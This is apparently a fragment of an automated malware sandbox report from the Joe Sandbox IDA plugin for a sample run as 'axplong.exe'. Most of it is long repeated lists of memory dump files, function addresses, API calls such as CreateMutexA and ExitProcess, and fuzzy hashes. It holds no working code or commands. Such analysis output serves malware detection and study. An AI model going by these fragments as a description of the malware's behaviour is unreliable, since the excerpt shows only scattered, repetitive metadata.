Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 88de691f0336112a26d87cf1cf8bcb42e1d6fae8ab1c5434bad5f01c51034fbc
Instruction ID: 50c3dd2385fcd82904ec6518bce4ad9dd92d2a4f4ffd8af471cf83c3ca196d25
Opcode Fuzzy Hash: 88de691f0336112a26d87cf1cf8bcb42e1d6fae8ab1c5434bad5f01c51034fbc
Instruction Fuzzy Hash: FAA1D271A01305AFDF21DF68C944BAAB7B8FF16324F044229E815D7282EB75EA14CB91

Function 00AD70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00AD710B

Strings

.bat, xrefs: 00AD713A
.cmd, xrefs: 00AD7129
.com, xrefs: 00AD714B
.exe, xrefs: 00AD7118

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 9f448e5e3357d9bad1227161f5726d5177b1fb9728660b5b90d653b694f54e09
Instruction ID: f2b93abd36be704d05781b94dc41e872531db0663c2c5faae54b7e1352f96b79
Opcode Fuzzy Hash: 9f448e5e3357d9bad1227161f5726d5177b1fb9728660b5b90d653b694f54e09
Instruction Fuzzy Hash: 38014E3B61861632261C6559DC0273F77989B82FB4726022BFE45F73C1FF44DC0281A0

Function 00ABBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00ABBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBB14
_xtime_get.LIBCPMT ref: 00ABBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00ABBB43

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction ID: 02e371ee08879ad7937f79c4f5c7517f57fd40ad78677e99d6bb95a697f380c5
Opcode Fuzzy Hash: 3f3d47d3bac42b97159e28fa9f29c0b8602effc7a29ef3e920122b8b31dbe983
Instruction Fuzzy Hash: 85211D71A012199FDF11EFA4DD85DFEBBBCAF48724F104069F601A7262DB74AD018BA1

Analysis Process: axplong.exePID: 6504, Parent PID: 2544COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1862
Total number of Limit Nodes:	15

Executed Functions

Function 006C645B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,006C645A,?,?,?,?,?,006C74AE), ref: 006C6497

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b73b0b9891dde5db2704dc0bb60c5a2f228016b0148b6b0553d3be9066dc0ab1
Instruction ID: 6bb9f7a44c7a3576ab4ffb0fac021c2429ab9b28b5a90dd0e1557b0e0c9d44e5
Opcode Fuzzy Hash: b73b0b9891dde5db2704dc0bb60c5a2f228016b0148b6b0553d3be9066dc0ab1
Instruction Fuzzy Hash: 46E08C30140A4CAFCF2A7B14C809FA93B9BEB41349F10C828F80886631CB66EC81C994

Function 00699AD5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320905748.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320948775.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324685063.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324830713.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2324960667.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325002578.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2325093324.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328152138.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328191677.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2328235150.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 9ee32c1ef9939f06d02ccb4a58ab696d07b48a41175ea66beeab7c08904803eb
Instruction ID: 387b9f05a8132e80a49f889fd7c2c43455d63b9292f166ef695f84de29aa64c6
Opcode Fuzzy Hash: 9ee32c1ef9939f06d02ccb4a58ab696d07b48a41175ea66beeab7c08904803eb
Instruction Fuzzy Hash: D9316A71B001048BFF08ABBCED8877EB6ABDB86314F20461CE114DBBC5C7B599818762

Function 00699E74 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000002.00000002.2319486871.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000002.00000002.2319472628.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319486871.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319540347.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319555900.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319575996.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319671717.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319689704.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319715075.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319747608.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319774581.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319827350.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319852211.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319880822.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319905260.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319928394.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319952634.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319976258.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2319999458.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320068034.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320094670.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320116289.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320137290.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320161686.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320195657.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320225157.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320255613.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320285089.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320313273.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320397452.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320428045.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320454974.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320485385.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320812306.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320847603.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2320878922.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
